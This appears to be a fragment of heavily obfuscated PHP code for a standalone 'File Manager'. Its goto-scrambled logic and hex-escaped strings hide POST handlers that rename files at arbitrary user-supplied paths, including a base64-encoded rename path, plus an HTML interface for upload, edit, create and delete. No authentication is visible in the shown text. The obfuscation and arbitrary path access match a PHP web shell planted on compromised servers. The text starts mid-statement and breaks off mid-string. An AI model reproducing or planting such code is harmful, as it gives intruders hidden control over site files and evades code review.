$FG9vN; goto LT34l; BbBtd: throw new Exception("\103\x6f\x75\x6c\x64\x20\x6e\x6f\164\40\162\x65\156\141\155\x65\x20\x69\164\145\x6d\x2e\x20\103\x68\x65\143\153\40\160\145\162\x6d\x69\x73\163\151\157\156\163\x2e"); goto R49w7; Ju2Rh: if (file_exists($HNTk_)) { goto ELLfj; } goto JZBJl; JQoYN: $FG9vN = isset($_POST["\x6f\154\144\x5f\156\x61\x6d\x65"]) ? $_POST["\157\154\144\x5f\156\141\155\145"] : ''; goto BJ9TQ; BJ9TQ: $mvNjB = isset($_POST["\156\x65\x77\x5f\x6e\141\155\145"]) ? str_replace(["\56\56", "\57", "\x5c"], '', $_POST["\156\145\x77\137\156\x61\155\x65"]) : ''; goto NwT4h; qDWgZ: HBT0s: goto yYDv5; LT34l: $bMFr2 = rtrim($VkzeB, "\57") . "\x2f" . $mvNjB; goto Uk8hg; R49w7: goto Dviy0; goto qDWgZ; bjohe: throw new Exception("\104\x69\x72\145\143\164\x6f\x72\x79\40\x69\x73\x20\x6e\x6f\x74\40\167\162\151\x74\x61\x62\154\x65\x2e"); goto MMAZr; NwT4h: if (!(!b2Y3p($VkzeB) || empty($FG9vN) || empty($mvNjB))) { goto cBqjW; } goto uUAuD; yYDv5: $yj_v0 = ["\x73\x75\143\143\145\x73\x73" => true, "\155\145\x73\x73\x61\147\x65" => "\111\164\x65\155\x20\x72\145\x6e\x61\155\145\x64\x20\163\165\x63\x63\145\x73\163\146\165\x6c\x6c\x79\56"]; goto CPeJG; UqaOK: if (is_writable(dirname($HNTk_))) { goto jNa06; } goto bjohe; NVrX_: if (rename($HNTk_, $bMFr2)) { goto HBT0s; } goto BbBtd; JZBJl: throw new Exception("\x53\x6f\x75\x72\143\x65\40\x69\x74\x65\155\x20\x64\157\145\163\40\x6e\157\164\40\145\170\151\x73\x74\40\141\x74\x3a\x20" . $HNTk_); goto EWMVE; HZhvm: cBqjW: goto ThU6J; MMAZr: jNa06: goto NVrX_; CPeJG: Dviy0: goto z8k57; uUAuD: throw new Exception("\x49\x6e\166\141\x6c\151\144\x20\x64\141\x74\x61\40\146\157\x72\x20\162\x65\156\141\155\151\156\147\x2e"); goto HZhvm; EWMVE: ELLfj: goto UqaOK; Uk8hg: clearstatcache(); goto Ju2Rh; kJZKh: $VkzeB = isset($_POST["\x70\141\164\150"]) ? FDhPT($_POST["\x70\141\164\150"]) : __DIR__; goto JQoYN; CJVIP: case "\x72\145\x6e\x61\x6d\145\137\x62\x36\x34": goto s1yZv; oCtUA: $SpXUn = isset($_POST["\x6f\x6c\144\137\156\141\155\145\x5f\142\66\64"]) ? $_POST["\x6f\x6c\144\x5f\x6e\141\x6d\145\137\x62\66\x34"] : ''; goto tCtwZ; ii2UX: throw new Exception("\x49\156\166\141\x6c\x69\x64\x20\x64\x61\164\141\40\146\157\x72\x20\x72\145\x6e\x61\155\x69\156\x67\56"); goto xIir3; USpFa: trlZT: goto rum8V; u6p5b: zWgSc: goto RrLhQ; NToLT: if (!(!B2Y3P($VkzeB) || empty($FG9vN) || empty($mvNjB))) { goto Rv8Hr; } goto ii2UX; paG2I: $FG9vN = base64_decode($SpXUn); goto iJVJd; UGSny: throw new Exception("\x43\157\165\x6c\x64\40\156\157\x74\40\x70\145\x72\x66\157\162\x6d\x20\146\x69\156\141\154\40\162\145\x6e\x61\155\x65\x2e\x20\117\162\151\147\151\156\x61\x6c\40\x66\151\154\145\40\155\141\x79\x20\x62\x65\x20\162\145\x73\x74\x6f\162\145\x64\56"); goto MgucH; W_PqH: throw new Exception("\103\x6f\165\154\144\40\156\x6f\x74\40\x64\x65\x6c\145\164\x65\x20\157\x72\151\147\x69\156\x61\x6c\40\x66\x69\x6c\145\x2e"); goto o3i5D; iJVJd: $mvNjB = base64_decode($hbkAj); goto NToLT; SOIaF: $bMFr2 = rtrim($VkzeB, "\57") . "\x2f" . $mvNjB; goto Kuo4c; V5boI: unlink($kX8Sr); goto W_PqH; zsGSc: $yj_v0 = ["\163\x75\x63\x63\145\163\163" => true, "\155\x65\x73\x73\x61\x67\145" => "\x49\164\145\x6d\40\x72\x65\156\141\x6d\x65\x64\x20\x73\165\x63\x63\145\163\x73\146\x75\x6c\x6c\171\40\x75\163\x69\x6e\x67\x20\142\66\x34\40\155\145\x74\x68\157\144\x2e"]; goto u6p5b; RrLhQ: goto KGYRb; goto F_cuD; tCtwZ: $hbkAj = isset($_POST["\x6e\145\x77\137\x6e\141\155\145\137\x62\66\x34"]) ? $_POST["\156\x65\x77\137\x6e\x61\x6d\145\x5f\x62\x36\64"] : ''; goto paG2I; GvmoO: unlink($kX8Sr); goto UGSny; MgucH: goto zWgSc; goto BS7tu; FS2bq: throw new Exception("\x43\x6f\165\154\144\40\x6e\157\x74\40\x63\162\145\x61\x74\x65\x20\164\x65\155\x70\x6f\162\141\x72\x79\40\x63\x6f\160\171\x2e"); goto USpFa; Kuo4c: $kX8Sr = $HNTk_ . "\56\164\170\164"; goto JPXrm; JPXrm: if (copy($HNTk_, $kX8Sr)) { goto trlZT; } goto FS2bq; s1yZv: $VkzeB = isset($_POST["\160\x61\164\x68"]) ? FDhpT($_POST["\160\141\164\150"]) : __DIR__; goto oCtUA; rum8V: if (unlink($HNTk_)) { goto Hh7lA; } goto V5boI; IDhEw: if (rename($kX8Sr, $bMFr2)) { goto OIeD1; } goto LZG4n; JiJd2: $HNTk_ = rtrim($VkzeB, "\57") . "\57" . $FG9vN; goto SOIaF; BS7tu: OIeD1: goto zsGSc; xIir3: Rv8Hr: goto JiJd2; LZG4n: copy($kX8Sr, $HNTk_); goto GvmoO; o3i5D: Hh7lA: goto IDhEw; F_cuD: } goto qUAlR; qUAlR: mPJL_: goto koIGK; hfAo5: } catch (Exception $EUJa7) { $yj_v0 = ["\163\165\143\x63\145\163\x73" => false, "\x6d\x65\x73\163\141\147\x65" => $EUJa7->getMessage()]; } goto Thkm8; jBRRv: echo "\74\41\104\117\103\124\131\120\x45\40\x68\164\x6d\x6c\76\12\x3c\x68\x74\x6d\154\x20\x6c\141\156\x67\x3d\x22\145\x6e\x22\76\12\x3c\150\x65\141\144\76\xa\40\40\x20\x20\x3c\x6d\145\x74\141\40\x63\150\141\162\x73\145\x74\x3d\x22\125\x54\x46\x2d\x38\42\76\x3c\164\151\x74\x6c\145\x3e\106\x69\154\145\40\x4d\x61\156\x61\x67\145\162\74\x2f\164\x69\x74\x6c\145\x3e\74\155\145\x74\x61\x20\x6e\x61\x6d\x65\x3d\x22\x76\151\145\167\x70\x6f\162\x74\42\x20\x63\157\156\x74\x65\x6e\164\x3d\42\x77\x69\144\164\x68\x3d\x64\x65\166\151\x63\145\55\167\x69\144\164\150\54\40\x69\156\x69\x74\x69\x61\154\x2d\163\x63\x61\154\x65\x3d\61\56\60\42\x3e\xa\40\40\40\x20\x3c\x73\164\171\x6c\145\76\12\40\x20\40\40\x20\x20\40\x20\72\162\x6f\x6f\x74\x7b\x2d\x2d\x61\x63\x63\x65\x6e\164\55\x63\x6f\x6c\157\x72\72\43\62\x32\x37\61\x62\61\73\x2d\x2d\150\x6f\166\x65\x72\55\143\157\154\157\162\x3a\x23\x31\x65\66\x35\x39\144\x3b\x2d\x2d\144\x61\156\x67\145\x72\x2d\143\157\154\157\162\x3a\x23\x64\x36\63\x36\63\x38\x3b\x7d\xa\x20\40\x20\x20\40\40\x20\x20\x62\x6f\x64\171\173\x66\x6f\x6e\164\55\146\141\155\151\154\x79\72\x2d\x61\x70\160\154\x65\55\163\171\x73\164\x65\x6d\54\102\x6c\151\156\153\115\141\x63\123\x79\x73\164\x65\155\x46\157\156\164\x2c\x22\x53\145\147\157\145\x20\x55\111\x22\x2c\x52\157\142\x6f\x74\157\54\x4f\170\171\147\145\x6e\x2d\x53\x61\156\163\x2c\x55\x62\x75\x6e\164\165\x2c\103\x61\x6e\164\x61\162\x65\x6c\154\54\42\x48\145\154\x76\x65\164\151\x63\x61\40\x4e\x65\x75\145\x22\x2c\163\x61\156\163\x2d\163\145\x72\x69\x66\x3b\142\141\x63\x6b\147\162\x6f\x75\x6e\144\72\43\x66\x30\x66\60\146\61\73\x6d\x61\162\147\151\x6e\72\x30\x3b\x7d\12\40\x20\x20\x20\x20\40\40\40\56\143\157\x6e\164\x61\151\156\145\x72\x7b\144\x69\x73\x70\154\x61\171\x3a\146\x6c\x65\170\x3b\146\154\x65\x78\55\144\151\x72\x65\143\164\x69\157\x6e\x3a\x63\157\154\165\x6d\156\x3b\x68\x65\151\x67\x68\164\72\61\x30\x30\166\150\73\175\150\x65\141\144\145\162\x7b\142\141\x63\x6b\x67\162\157\165\156\144\x3a\x23\146\146\146\x3b\160\141\144\144\151\156\x67\x3a\x31\x30\x70\x78\40\62\x30\x70\x78\73\x62\x6f\162\x64\x65\162\x2d\142\x6f\164\164\157\155\x3a\x31\160\x78\40\163\x6f\x6c\151\x64\40\x23\144\144\144\73\x64\151\x73\x70\x6c\141\171\72\x66\154\145\170\73\x6a\165\x73\164\x69\x66\171\x2d\143\x6f\156\x74\x65\156\x74\72\163\160\141\143\145\x2d\142\x65\164\x77\x65\145\156\73\141\154\151\x67\156\x2d\151\x74\145\155\x73\72\143\x65\x6e\x74\x65\162\x3b\x66\154\x65\x78\x2d\x73\x68\x72\x69\x6e\x6b\72\x30\73\175\155\x61\x69\x6e\x7b\x66\x6c\x65\170\55\147\162\x6f\x77\x3a\x31\73\160\141\144\x64\151\156\x67\72\62\x30\160\170\x3b\x6f\166\145\x72\146\x6c\x6f\167\x2d\x79\72\141\165\164\157\73\175\56\164\x6f\157\154\x62\x61\x72\173\x6d\141\x72\147\x69\x6e\x2d\x62\157\x74\x74\x6f\155\x3a\61\65\160\x78\x3b\144\151\x73\160\154\141\171\72\146\x6c\x65\170\73\x66\x6c\145\x78\55\x77\x72\141\x70\x3a\167\162\x61\160\x3b\147\141\160\72\x31\60\160\x78\73\141\154\x69\147\x6e\x2d\x69\x74\x65\155\163\72\143\145\x6e\164\x65\x72\73\x7d\56\160\x61\164\150\x2d\142\x61\x72\x7b\142\141\143\x6b\147\162\157\x75\x6e\144\x3a\43\146\x66\x66\73\160\x61\x64\x64\151\x6e\x67\x3a\x38\160\x78\x20\61\x32\x70\x78\73\142\157\x72\144\x65\162\x2d\162\x61\144\x69\x75\163\x3a\x34\160\170\73\x62\x6f\x72\144\145\162\72\x31\x70\170\x20\x73\x6f\154\151\x64\x20\x23\144\x64\x64\73\x66\157\x6e\164\55\x66\141\155\x69\x6c\171\x3a\x6d\x6f\156\x6f\163\x70\x61\143\x65\x3b\x66\154\145\x78\55\x67\162\157\x77\x3a\61\73\167\157\162\144\55\142\x72\x65\141\153\x3a\142\x72\145\141\153\55\141\154\154\73\x7d\56\146\151\154\145\55\164\x61\x62\154\x65\x7b\x77\151\x64\164\150\x3a\x31\x30\60\45\73\142\157\x72\x64\145\162\x2d\x63\x6f\154\154\x61\x70\163\x65\72\143\157\154\x6c\141\160\x73\x65\73\x62\x61\143\153\x67\x72\x6f\165\156\x64\x3a\x23\x66\146\x66\x3b\x74\x61\x62\154\145\x2d\154\x61\x79\157\165\x74\x3a\x66\x69\170\145\144\73\175\56\146\151\154\145\55\x74\141\x62\154\x65\40\x74\150\54\56\146\151\154\x65\55\x74\x61\142\x6c\145\40\164\144\173\164\145\x78\x74\55\x61\154\151\x67\x6e\x3a\154\145\x66\164\x3b\x62\157\x72\x64\145\x72\55\x62\x6f\164\164\x6f\x6d\x3a\61\160\170\x20\163\157\x6c\151\x64\40\43\x65\x65\145\x3b\166\x65\x72\x74\x69\x63\x61\154\55\x61\x6c\x69\147\156\72\x6d\x69\144\x64\154\145\73\167\157\x72\x64\55\x77\x72\141\x70\x3a\142\162\145\141\153\x2d\167\x6f\162\144\73\x7d\x2e\x66\151\154\145\x2d\164\141\142\154\145\40\x74\150\x7b\x62\x61\143\153\147\162\x6f\165\156\x64\72\x23\x66\71\x66\x39\146\71\73\x70\x61\144\144\x69\156\x67\72\x31\62\160\170\x20\70\x70\170\x3b\x7d\56\146\151\154\145\x2d\x74\x61\x62\154\x65\x20\x74\x72\72\x68\x6f\166\x65\x72\173\x62\141\143\153\147\x72\x6f\165\156\144\x3a\x23\146\x30\x66\x38\146\146\73\x7d\56\x66\151\x6c\145\55\164\x61\x62\x6c\x65\40\164\x68\72\156\164\x68\55\x63\x68\x69\x6c\x64\50\x31\x29\x2c\x2e\146\x69\154\145\55\x74\141\142\x6c\145\x20\x74\x64\72\156\x74\x68\55\x63\x68\x69\154\144\x28\61\51\173\x77\151\x64\x74\150\72\64\60\160\170\73\x70\141\x64\x64\x69\156\x67\x3a\61\62\x70\170\40\64\160\x78\x20\x31\x32\x70\170\x20\61\62\x70\170\73\164\145\x78\164\55\x61\154\x69\147\156\72\x63\x65\156\164\145\x72\73\x7d\56\x66\151\x6c\x65\55\164\x61\142\x6c\145\40\x74\150\72\156\x74\150\55\143\x68\151\154\144\50\x32\x29\x2c\x2e\x66\x69\154\x65\55\164\x61\142\154\145\40\164\144\x3a\156\x74\x68\55\143\150\151\x6c\x64\50\x32\x29\x7b\167\x69\x64\x74\150\x3a\x35\60\x25\x3b\x70\x61\144\144\x69\x6e\147\x2d\x6c\145\x66\164\x3a\x34\160\170\x3b\x7d\56\x66\151\154\145\55\x74\x61\x62\154\x65\x20\x74\x68\x3a\156\x74\x68\x2d\143\x68\151\154\x64\50\x33\x29\54\x2e\x66\x69\x6c\145\x2d\164\141\142\x6c\145\40\x74\144\x3a\x6e\164\150\55\143\x68\x69\x6c\144\x28\63\x29\x7b\x77\x69\x64\164\150\x3a\61\x32\60\160\x78\73\175\x2e\x66\151\154\x65\x2d\164\x61\142\x6c\x65\40\164\150\72\x6e\164\150\x2d\143\x68\x69\x6c\144\x28\64\51\54\56\146\x69\154\145\55\164\141\142\x6c\145\x20\164\x64\72\x6e\164\150\55\x63\150\x69\x6c\x64\50\x34\x29\173\167\x69\x64\x74\x68\72\61\x35\x30\x70\170\x3b\x7d\56\146\x69\154\145\x2d\164\141\x62\x6c\x65\x20\164\x68\x3a\156\x74\150\x2d\143\x68\x69\154\144\x28\x35\x29\x7b\164\145\170\164\55\141\154\151\147\x6e\x3a\162\x69\x67\150\x74\73\160\141\144\144\151\x6e\x67\x2d\x72\x69\x67\x68\x74\72\x31\x32\160\170\73\175\x2e\141\x63\164\151\157\156\x73\x7b\144\x69\163\160\x6c\x61\x79\72\x66\154\x65\x78\73\x6a\x75\163\x74\151\x66\171\x2d\x63\157\156\x74\x65\x6e\x74\x3a\x66\154\x65\170\x2d\x65\156\x64\x3b\x67\x61\160\x3a\65\160\170\x3b\175\x2e\x69\164\x65\x6d\x2d\x6c\151\156\x6b\x2c\x61\x2e\x69\x74\145\x6d\55\x6c\151\156\153\173\164\145\x78\164\x2d\x64\145\143\157\x72\141\x74\x69\x6f\156\72\x6e\157\156\x65\41\151\155\160\x6f\162\164\x61\156\x74\x3b\x63\x6f\x6c\157\162\x3a\166\141\162\x28\55\x2d\x61\143\x63\145\156\164\x2d\x63\157\x6c\157\162\x29\x3b\x63\165\x72\x73\157\162\x3a\x70\157\x69\x6e\164\145\x72\73\175\x2e\x69\164\145\155\55\x6c\151\x6e\153\x3a\150\x6f\x76\x65\x72\54\x61\56\151\x74\145\155\55\x6c\x69\156\153\72\150\157\166\145\x72\173\x63\157\x6c\x6f\162\x3a\x76\141\x72\x28\x2d\55\150\157\x76\145\x72\x2d\x63\x6f\x6c\157\162\51\73\x7d\x74\x72\x5b\144\x61\164\x61\55\x70\141\164\150\135\x7b\x63\x75\x72\x73\x6f\x72\x3a\160\157\x69\x6e\164\145\x72\x3b\175\56\142\x75\164\164\x6f\x6e\173\142\x61\x63\153\x67\x72\x6f\165\x6e\144\x3a\x76\141\x72\x28\x2d\55\141\143\143\145\156\164\x2d\x63\x6f\x6c\x6f\x72\51\x3b\143\x6f\x6c\157\x72\x3a\167\150\151\x74\145\73\x62\x6f\x72\x64\145\162\x3a\x6e\x6f\x6e\x65\73\160\141\x64\x64\151\156\x67\x3a\70\160\x78\40\x31\62\160\170\x3b\142\157\x72\144\x65\x72\55\162\x61\x64\x69\165\163\x3a\63\x70\170\x3b\x63\x75\x72\x73\x6f\x72\72\160\x6f\x69\156\x74\x65\162\x3b\146\157\x6e\x74\x2d\x73\151\172\145\72\x31\x34\x70\x78\73\175\56\142\165\x74\x74\157\156\x2e\144\141\156\147\145\x72\173\x62\x61\143\x6b\147\x72\157\x75\x6e\x64\x3a\x76\141\x72\x28\x2d\x2d\144\141\156\x67\x65\x72\x2d\143\x6f\154\x6f\x72\x29\x3b\175\43\163\160\151\x6e\x6e\x65\x72\x7b\x64\151\x73\x70\x6c\x61\171\72\156\157\156\145\x3b\175\56\x6d\x6f\x64\x61\154\55\x6f\x76\x65\x72\154\x61\x79\x7b\x64\x69\x73\x70\x6c\x61\x79\72\156\157\156\145\73\x70\x6f\x73\151\x74\x69\x6f\156\x3a\x66\x69\170\x65\144\x3b\164\157\160\x3a\60\x3b\154\x65\146\x74\x3a\60\73\x77\151\x64\x74\x68\72\61\x30\x30\x25\73\150\145\151\147\150\164\72\x31\x30\60\x25\73\x62\x61\x63\153\147\x72\x6f\165\156\144\x3a\162\147\142\141\50\60\x2c\x30\54\x30\54\60\56\66\51\x3b\172\55\x69\x6e\144\x65\x78\x3a\x31\60\60\x30\73\x6a\x75\163\x74\151\x66\171\x2d\x63\157\x6e\164\145\156\x74\x3a\143\x65\156\164\145\x72\x3b\x61\x6c\x69\x67\x6e\x2d\x69\x74\145\155\163\72\143\x65\156\x74\145\x72\x3b\x7d\x2e\x6d\x6f\144\141\154\x2d\143\157\x6e\x74\x65\156\x74\173\144\x69\x73\160\x6c\141\x79\x3a\146\x6c\145\170\x3b\x66\154\145\x78\x2d\x64\x69\162\145\143\x74\151\157\156\x3a\143\157\154\165\155\156\73\x62\x61\x63\x6b\x67\x72\157\165\156\x64\72\43\146\x66\146\73\160\x61\144\144\151\156\x67\x3a\62\x30\x70\170\73\x62\x6f\162\144\x65\162\55\162\x61\144\x69\x75\x73\x3a\65\160\x78\73\x77\151\144\164\150\x3a\70\x30\45\73\150\145\151\147\150\164\x3a\x38\60\x25\73\x6d\141\170\55\167\151\144\x74\150\x3a\71\x30\60\x70\170\73\142\x6f\170\x2d\163\150\141\x64\x6f\x77\x3a\60\x20\65\x70\170\40\61\65\x70\170\x20\x72\147\142\141\50\x30\x2c\60\x2c\60\x2c\x30\x2e\x33\51\x3b\175\164\145\x78\164\x61\162\145\141\43\x65\144\x69\164\157\x72\173\146\154\x65\x78\55\147\x72\x6f\167\x3a\61\x3b\x66\157\x6e\164\55\146\141\x6d\151\154\x79\72\x6d\x6f\156\x6f\163\160\x61\143\145\73\146\157\x6e\164\x2d\163\x69\172\145\72\x31\x34\160\170\x3b\142\157\x72\x64\145\x72\72\x31\x70\x78\x20\x73\x6f\154\151\144\40\x23\x64\144\144\x3b\160\x61\144\x64\x69\156\x67\x3a\61\60\x70\170\73\x7d\12\x20\40\x20\x20\x3c\57\x73\x74\x79\x6c\145\76\xa\74\x2f\x68\x65\x61\x64\x3e\xa\74\x62\157\144\x79\76\xa\x20\40\40\x20\x3c\x64\151\x76\40\143\154\x61\x73\163\x3d\42\x63\157\x6e\164\x61\x69\x6e\x65\x72\x22\x3e\xa\40\x20\x20\x20\x20\x20\40\x20\74\150\145\141\144\145\162\x3e\x3c\x68\63\x3e\106\151\154\x65\40\115\x61\x6e\x61\x67\x65\162\40\x28\123\164\141\156\x64\141\x6c\x6f\x6e\145\x29\x3c\57\x68\63\x3e\74\57\x68\145\x61\x64\145\x72\x3e\xa\x20\40\40\40\x20\40\40\x20\x3c\155\x61\151\x6e\76\12\40\40\x20\x20\40\40\40\x20\x20\40\40\40\74\x64\x69\166\x20\x63\154\141\x73\x73\75\42\164\157\157\x6c\142\141\x72\x22\x3e\x3c\142\165\x74\164\x6f\x6e\x20\143\x6c\141\x73\163\x3d\x22\142\165\x74\164\x6f\156\42\x20\151\144\x3d\42\165\160\x6c\157\x61\144\x42\164\x6e\x22\x3e\303\203\xc2\xa2\303\x82\xc2\254\303\202\xc2\x86\303\x83\302\xaf\303\x82\302\xb8\303\x82\xc2\217\40\x55\160\154\x6f\141\x64\x3c\57\x62\x75\164\x74\157\x6e\76\74\x62\165\x74\x74\157\156\40\143\x6c\x61\163\163\x3d\42\x62\165\x74\164\157\x6e\42\40\151\144\x3d\42\x6e\145\167\106\x69\x6c\145\x42\164\x6e\x22\x3e\303\x83\302\xb0\303\x82\302\237\303\202\xc2\x93\303\x82\302\x84\x20\x4e\x65\167\40\x46\x69\154\145\x3c\x2f\x62\x75\164\164\x6f\x6e\x3e\74\x62\165\164\x74\x6f\156\x20\x63\x6c\x61\163\163\x3d\x22\x62\165\x74\x74\157\x6e\x22\x20\151\144\x3d\x22\x6e\x65\x77\106\x6f\154\144\x65\162\x42\164\x6e\x22\x3e\303\x83\xc2\242\xc3\x82\xc2\x9e\303\202\xc2\x95\40\116\x65\167\x20\x46\157\154\144\x65\x72\74\x2f\x62\165\x74\x74\157\156\76\x3c\x62\165\x74\x74\x6f\156\x20\x63\x6c\x61\163\x73\75\42\x62\x75\x74\164\x6f\156\x20\144\141\156\147\x65\x72\x22\40\x69\x64\75\x22\144\145\154\145\x74\x65\x42\x74\x6e\x22\76\303\203\302\260\xc3\x82\302\x9f\xc3\202\xc2\x97\303\x82\xc2\221\303\x83\302\xaf\xc3\x82\xc2\xb8\xc3\202\302\x8f\x20\x44\x65\x6c\x65\x74\145\40\x53\145\x6c\145\143\164\x65\144\74\57\142\165\x74\164\x6f\156\76\x3c\144\151\x76\40\151\144\75\42\163\x70\x69\x6e\x6e\x65\162\x22\x3e\xc3\203\302\260\303\202\302\x9f\xc3\x82\302\225\xc3\x82\302\222\74\57\144\x69\166\x3e\74\x2f\x64\x69\x76\x3e\xa\40\40\40\40\40\x20\x20\40\40\40\x20\x20\x3c\144\x69\x76\x20\x63\x6c\141\x73\163\x3d\x22\164\157\157\x6c\142\x61\162\42\x3e\74\144\151\166\x20\x63\154\141\x73\163\x3d\42\160\141\164\x68\x2d\142\x61\162\x22\40\151\144\x3d\42\160\141\x74\x68\102\x61\162\x22\x3e\57\74\57\144\151\166\x3e\74\57\x64\151\166\x3e\12\x20\x20\x20\x20\40\40\x20\40\x20\40\40\40\x3c\x74\x61\142\154\x65\40\143\154\141\163\x73\75\x22\146\x69\x6c\145\55\x74\141\x62\x6c\x65\x22\x3e\74\x74\x68\x65\141\144\x3e\74\164\x72\76\74\164\x68\76\74\x69\x6e\x70\x75\x74\40\x74\x79\160\145\75\x22\x63\x68\x65\x63\x6b\142\157\x78\42\40\x69\144\75\x22\x73\x65\x6c\145\x63\x74\101\x6c\154\x22\76\74\57\164\x68\76\74\164\150\76\116\141\x6d\x65\x3c\x2f\164\150\x3e\74\x74\150\76\x53\x69\172\145\74\x2f\164\x68\76\74\164\150\76\115\157\x64\x69\146\x69\145\x64\74\x2f\164\150\76\x3c\164\x68\x3e\101\x63\x74\151\x6f\x6e\x73\x3c\x2f\x74\150\x3e\74\x2f\164\x72\76\x3c\x2f\164\x68\145\x61\x64\x3e\74\x74\142\x6f\144\x79\x20\151\144\75\42\146\151\x6c\145\x4c\x69\163\164\42\x3e\74\x2f\164\x62\x6f\x64\171\76\x3c\57\x74\141\142\154\145\76\xa\40\x20\x20\40\x20\x20\x20\x20\x3c\57\x6d\141\x69\x6e\x3e\xa\40\40\x20\40\x3c\57\x64\151\x76\x3e\12\40\40\40\40\x3c\x64\151\x76\40\x69\144\x3d\42\x65\x64\x69\164\157\x72\115\157\x64\x61\154\42\x20\143\x6c\x61\x73\163\75\42\x6d\x6f\144\x61\154\x2d\157\166\145\x72\x6c\x61\x79\42\x3e\x3c\x64\x69\x76\40\143\154\141\x73\163\x3d\x22\155\157\x64\x61\x6c\55\x63\x6f\x6e\164\145\x6e\x74\x22\x3e\x3c\x68\63\x20\x69\x64\x3d\42\x65\144\x69\164\157\162\106\151\x6c\x65\156\141\x6d\x65\42\x20\163\x74\x79\x6c\145\x3d\42\155\141\x72\x67\x69\156\x2d\164\157\160\72\x30\73\x22\x3e\74\x2f\x68\63\x3e\x3c\164\145\x78\164\141\x72\145\x61\40\151\x64\75\x22\145\x64\151\x74\x6f\162\42\40\x73\160\x65\154\154\143\150\145\143\x6b\x3d\x22\146\141\154\163\x65\42\76\x3c\57\x74\145\170\x74\141\162\x65\x61\x3e\x3c\x64\151\x76\x20\163\164\x79\154\145\x3d\42\155\x61\162\x67\151\x6e\x2d\164\x6f\x70\72\61\x30\160\x78\73\42\x3e\74\x62\x75\164\x74\157\x6e\x20\x63\154\x61\163\163\x3d\42\x62\x75\164\164\157\x6e\x22\40\x69\x64\75\42\163\141\x76\145\102\x74\156\x22\x3e\303\x83\302\xb0\xc3\x82\xc2\237\xc3\x82\xc2\222\303\x82\302\xbe\x20\123\141\x76\145\40\103\x68\141\156\147\145\x73\74\x2f\x62\x75\164\164\157\x6e\x3e\x3c\x62\x75\164\164\157\156\x20\143\x6c\x61\x73\x73\x3d\42\142\x75\x74\x74\x6f\x6e\42\40\157\x6e\143\x6c\151\143\x6b\x3d\42\x64\x6f\x63\x75\155\x65\156\164\56\x67\x65\x74\105\x6c\145\155\145\x6e\164\102\171\111\x64\50\47\145\144\x69\164\157\x72\x4d\x6f\x64\141\x6c\47\51\56\163\164\171\154\x65\56\144\151\163\160\x6c\141\171\75\x27\156\x6f\x6e\x65\x27\x22\76\x43\154\157\x73\x65\x3c\x2f\142\165\x74\x74\157\156\x3e\x3c\57\144\x69\x76\76\x3c\x2f\144\151\166\x3e\74\x2f\x64\x69\x76\x3e\12\x20\40\x20\x20\74\x69\156\160\x75\x74\40\x74\x79\160\x65\x3d\x22\146\151\154\x65\x22\40\x69\x64\75\x22\150\x69\x64\x64\x65\x6e\106\x69\x6c\x65\111\x6e\160\x75\164\42\x20\x6d\165\154\164\x69\x70\154\x65\x20\x73\164\171\x6c\145\x3d\x22\x64\x69\163\x70\x6c\x61\x79\x3a\156\x6f\156\145\x3b\x22\x3e\xa\40\x20\x20\40\74\163\x63\162\151\x70\164\x3e\12\x20\40\40\x20\144\157\143\x75\x6d\x65\x6e\164\x2e\141\x64\x64\x45\166\x65\x6e\164\114\x69\x73\x74\145\156\145\162\x28\x27\x44\117\115\x43\x6f\x6e\164\x65\156\164\114\157\141\144\145\144\x27\x2c\40\x28\51\40\75\x3e\x20\x7b\12\x20\x20\40\40\40\x20\40\x20\x63\157\x6e\163\164\40\123\x54\x41\x54\105\x20\75\40\x7b\x20\x63\165\162\162\x65\x6e\164\120\141\164\150\72\40\x27"; goto cT_bT; nGwEI: $yj_v0 = ["\163\x75\143\x63\x65\x73\x73" => false, "\x6d\145\163\x73\141\147\145" => "\111\x6e\x76\141\x6c\151\x64\x20\141\143\x74\x69\157\156\x2e"]; goto s_Ydv; cT_bT: echo LQt1M(__DIR__); goto R6PxC; Hz4jN: function b2Y3p($VkzeB) { return realpath($VkzeB) !== false || is_dir(dirname($VkzeB)); } goto u7xXr; GcEln: echo "\47\x2c\x20\173\40\x6d\x65\x74\x68\x6f\x64\72\x20\x27\120\117\123\124\x27\x2c\x20\142\x6f\144\171\x3a\x20\x66\x6f\162\x6d\x44\141\164\141\40\175\51\x3b\x20\x63\157\156\x73\164\40\162\145\163\x75\x6c\164\x20\x3d\x20\141\167\141\151\x74\x20\162\145\x73\x70\157\x6e\x73\145\x2e\x6a\x73\157\156\50\x29\73\x20\151\x66\x20\50\41\x72\x65\163\x75\x6c\164\x2e\163\165\143\143\x65\x73\x73\x29\40\164\x68\x72\x6f\x77\x20\x6e\x65\x77\40\x45\162\x72\x6f\162\50\162\145\163\x75\154\164\x2e\155\145\163\x73\x61\x67\145\x29\x3b\x20\151\146\40\x28\163\150\157\167\x53\165\143\143\x65\163\163\x20\46\x26\x20\162\x65\x73\x75\154\x74\56\x6d\x65\163\163\141\x67\145\51\x20\141\x6c\145\x72\164\x28\162\145\x73\x75\x6c\x74\x2e\x6d\145\x73\163\141\147\x65\x29\73\x20\162\x65\x74\x75\162\156\40\x72\x65\x73\x75\154\x74\73\xa\x20\x20\40\40\40\x20\x20\40\x20\x20\x20\40\175\40\143\x61\164\x63\150\40\x28\145\162\162\157\162\51\x20\173\40\141\x6c\145\162\164\x28\x60\105\x72\x72\x6f\162\72\40\x24\173\145\162\x72\157\x72\x2e\x6d\145\x73\x73\x61\x67\x65\175\140\51\x3b\x20\x63\x6f\156\163\157\154\145\56\x65\x72\x72\157\x72\50\x22\x46\165\154\154\40\162\x65\x73\x70\x6f\x6e\x73\x65\x3a\42\54\x20\x65\162\x72\157\x72\56\162\145\163\160\157\x6e\163\x65\51\x3b\40\x72\145\x74\165\162\156\x20\x6e\165\154\x6c\x3b\40\175\x20\146\151\156\141\x6c\x6c\x79\40\173\40\144\157\x6d\x2e\163\160\151\156\x6e\145\162\x2e\163\164\x79\x6c\x65\x2e\x64\x69\163\x70\x6c\141\171\x3d\x27\x6e\157\x6e\x65\x27\x3b\x20\175\12\x20\40\40\x20\40\x20\x20\40\175\xa\40\40\40\x20\40\x20\40\x20\x66\165\x6e\143\x74\151\x6f\x6e\40\162\145\x6e\144\145\162\50\51\x20\173\12\x20\40\x20\40\x20\40\40\40\x20\x20\40\40\143\157\156\x73\164\40\146\157\x72\155\x44\141\x74\x61\40\x3d\x20\x6e\x65\167\40\x46\x6f\162\x6d\104\x61\x74\141\50\x29\x3b\40\x66\x6f\162\x6d\x44\141\164\141\x2e\141\x70\x70\145\156\x64\50\x27\160\141\164\x68\x27\54\x20\x53\124\101\x54\105\x2e\x63\165\x72\162\145\x6e\x74\